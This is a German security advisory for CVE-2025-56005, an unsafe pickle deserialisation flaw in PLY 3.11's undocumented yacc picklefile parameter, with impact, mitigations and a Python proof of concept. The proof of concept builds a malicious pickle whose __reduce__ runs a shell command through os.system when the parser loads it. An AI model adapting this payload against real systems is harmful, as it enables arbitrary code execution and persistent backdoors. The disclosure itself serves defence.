Zurück zu den Updates
UpdatedSep 2, 2026

Undocumented-RCE-in-PLY — Updated!

Undokumentierte RCE in PLY über den `picklefile`-Parameter

Teilen

Undokumentierte Remote-Code-Ausführung in PLY CVE‑2025‑56005

CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`

Zusammenfassung

Eine undokumentierte und unsichere Funktion in der über PyPI verteilten Version von PLY 3.11 ermöglicht beliebige Code-Ausführung, wenn die Funktion yacc() mit dem Parameter picklefile aufgerufen wird.

Der Parameter picklefile veranlasst PLY, eine .pkl-Datei mit Pythons pickle.load() ohne Validierung zu deserialisieren. Da Pythons pickle-Modul die Ausführung beliebigen Codes während der Deserialisierung unterstützt (z. B. über __reduce__()), kann ein Angreifer, der die bereitgestellte Pickle-Datei kontrollieren kann, beliebigen Code während der Parser-Initialisierung ausführen.

Dieser Parameter ist nicht dokumentiert in der offiziellen PLY-Dokumentation oder im GitHub-Repository, ist jedoch in der PyPI-Version aktiv.


Auswirkungen

Wenn ein Angreifer die an yacc(picklefile=...) übergebene .pkl-Datei kontrollieren, ersetzen oder beeinflussen kann, kann er Folgendes erreichen:

  • Beliebige Code-Ausführung
  • Ausführung während des Anwendungsstarts
  • Code-Ausführung, bevor irgendeine Parsing-Logik erreicht wird

Dies kann Anwendungen betreffen, die Parser-Tabellen laden aus:

  • Zwischenspeicherorten
  • Gemeinsam genutzten Verzeichnissen
  • CI/CD-Pipelines
  • Konfigurierbaren oder beschreibbaren Pfaden

🔍 Schwachstellendetails

  • Schwachstellentyp: Beliebige Code-Ausführung
  • Angriffstyp: Kontextabhängig
  • Angriffsvektor: Unsichere Deserialisierung einer vom Angreifer kontrollierten Pickle-Datei
  • Auswirkung: Code-Ausführung
  • CWE: CWE‑502 (Deserialization of Untrusted Data)

Betroffene Funktionalität

  • ply.yacc.yacc(picklefile=...)
  • LRTable.read_pickle() in ply/yacc.py

Zusätzliche Informationen (Kontext & Risiko)

Diese Schwachstelle stellt aufgrund ihrer heimlichen Natur und des Potenzials für Persistenz ein erhöhtes Risiko dar.

Der Parameter picklefile ist undokumentiert in der offiziellen PLY-Dokumentation und im GitHub-Repository. Die über PyPI verteilte Version von PLY 3.11 enthält jedoch diese Funktionalität und verarbeitet die bereitgestellte Datei mit pickle.load() ohne Validierung.

Da Pythons pickle-Modul die Ausführung von eingebettetem Code während der Deserialisierung erlaubt, kann eine bösartige Pickle-Datei beliebigen Code während der Parser-Einrichtung ausführen, bevor irgendeine Parsing-Logik aufgerufen wird.

Zum Zeitpunkt des Verfassens hat der Maintainer dieses Verhalten nicht öffentlich anerkannt.

Diese Funktionalität kann missbraucht werden, um persistente Backdoors einzuführen, insbesondere in Umgebungen, in denen Parser-Tabellendateien:

  • Auf der Festplatte zwischengespeichert werden
  • Zwischen Benutzern oder Diensten geteilt werden
  • In CI/CD-Pipelines generiert oder wiederverwendet werden
  • Von konfigurierbaren oder beschreibbaren Pfaden geladen werden

Angesichts der fehlenden Dokumentation, des stillen Ausführungspfads und der hohen Auswirkung unsicherer Deserialisierung ist eine CVE-Zuweisung gerechtfertigt, um das Bewusstsein zu schärfen und nachgelagerte Benutzer zu schützen.


Proof of Concept (PoC)

Dieser Proof of Concept demonstriert beliebige Code-Ausführung, wenn eine bösartige Pickle-Datei über den undokumentierten Parameter picklefile bereitgestellt wird.

PoC-Übersicht

Der PoC:

  • Definiert einen minimalen Lexer und Parser
  • Erstellt eine bösartige Pickle-Nutzlast
  • Führt einen Systembefehl während der Deserialisierung aus

Erwartetes Ergebnis

Wenn yacc(picklefile='exploit.pkl') aufgerufen wird, wird beliebiger Code während der Parser-Initialisierung ausgeführt.

import pickle
import os
from ply.lex import lex
from ply.yacc import yacc

tokens = ('EXAMPLE',)

def t_EXAMPLE(t):
    r'example'
    return t

def p_sample(p):
    'sample : EXAMPLE'
    pass

class Exploit:
    def __reduce__(self):
        cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
        return (os.system, (cmd,))

malicious_data = {
    '_tabversion': '3.11',
    '_lr_action': {0: {}},
    '_lr_goto': {0: {}},
    '_lr_productions': [
        (None, 0, 0, 0, Exploit())
    ],
    '_lr_method': 'LALR'
}

with open('exploit.pkl', 'wb') as f:
    pickle.dump(malicious_data, f)

parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')

Gegenmaßnahmen

  • Verwenden Sie den Parameter picklefile nicht mit nicht vertrauenswürdigen oder extern beschreibbaren Dateien
  • Vermeiden Sie das Laden von Parser-Tabellen von benutzergesteuerten Orten
  • Behandeln Sie alle Pickle-Dateien als unsichere Eingabe
  • Bevorzugen Sie die Neugenerierung von Parser-Tabellen anstelle des Ladens von der Festplatte

Referenzen

Kategorien